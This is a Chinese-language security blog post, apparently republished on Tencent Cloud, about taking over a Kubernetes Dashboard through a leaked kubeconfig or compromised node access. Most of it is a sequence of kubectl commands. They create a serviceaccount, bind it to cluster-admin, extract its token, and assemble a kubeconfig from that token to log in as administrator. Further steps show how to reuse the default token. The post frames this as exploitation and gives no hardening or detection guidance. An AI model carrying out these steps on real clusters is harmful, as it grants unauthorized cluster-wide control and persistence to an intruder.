前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >K8s Dashboard Config利用攻击面

K8s Dashboard Config利用攻击面

作者头像
Al1ex
发布2023-05-12 11:39:52
3110
发布2023-05-12 11:39:52
举报
文章被收录于专栏:网络安全攻防网络安全攻防
文章前言

本篇文章我们主要介绍以下两种利用场景下如何通过kubeconfig来接管Kubernet dashboard

  • 利用场景1:项目托管不当导致kubernetconfig文件泄露,例如:Github、Gitlab等,之后接管Kubernet dashboard
  • 利用场景2:在获取到Node节点权限的情况下通过kubeconfig来接管Kubernet dashboard
基础知识

用户凭证保存在kubeconfig文件中,kubectl通过以下顺序来找到kubeconfig文件

  • 如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
  • 如果未提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
  • 如果以上两种情况都没有,那么kubectl就使用默认的kubeconfig文件$HOME/.kube/config
利用流程

Step 1:获取namespace

代码语言:javascript
复制
kubectl get namespace

Step 2:创建dashboard管理用户

代码语言:javascript
复制
kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard

Step 3:绑定用户为集群管理用户

代码语言:javascript
复制
kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin

Step 4:获取tocken(后续可以使用token登录)

代码语言:javascript
复制
kubectl get sa,secrets -n kubernetes-dashboard

kubectl describe secret -n kubernetes-dashboard dashboard-admin-token-kqsll

Step 5:生成kubeconfig文件

代码语言:javascript
复制
DASH_TOCKEN=$(kubectl get secret -n kubernetes-dashboard dashboard-admin-token-kqsll -o jsonpath={.data.token}|base64 -d)
代码语言:javascript
复制
kubectl config set-cluster kubernetes --server=192.168.17.144:30001 --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-credentials dashboard-admin --token=$DASH_TOCKEN --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-context dashboard-admin@kubernetes --cluster=kubernetes --user=dashboard-admin --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config use-context dashboard-admin@kubernetes --kubeconfig=/home/r00t/dashbord-admin.conf

Step 6:赋予读写执行权限

代码语言:javascript
复制
chmod 777 dashboard-admin.conf

Step 7:使用生成的dashbord-admin.conf登录dashboard

相关扩展

上面的我们是在master节点下创建管理账户并获取其配置文件来访问的Dashboard,下面我们介绍一下如何通过修改默认的配置文件来实现对Dashboard的访问

Step 1:获取环境变量

代码语言:javascript
复制
evn

Step 2:复制一份到桌面文件

Step 3:获取token信息

代码语言:javascript
复制
kubectl get sa,secrets -n kubernetes-dashboard

kubectl describe secret -n kubernetes-dashboard default-token-6lf6k

Step 7:修改config.conf添加下面的token部分

Step 8:使用token访问dashboard,可以看到是低权限用户,故而还是需要自我去构建才好,或者是用户在启动dashboard的时候有指定config那么可以直接复制config并修改其内容实现

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-04-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 基础知识
  • 利用流程
  • 相关扩展
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档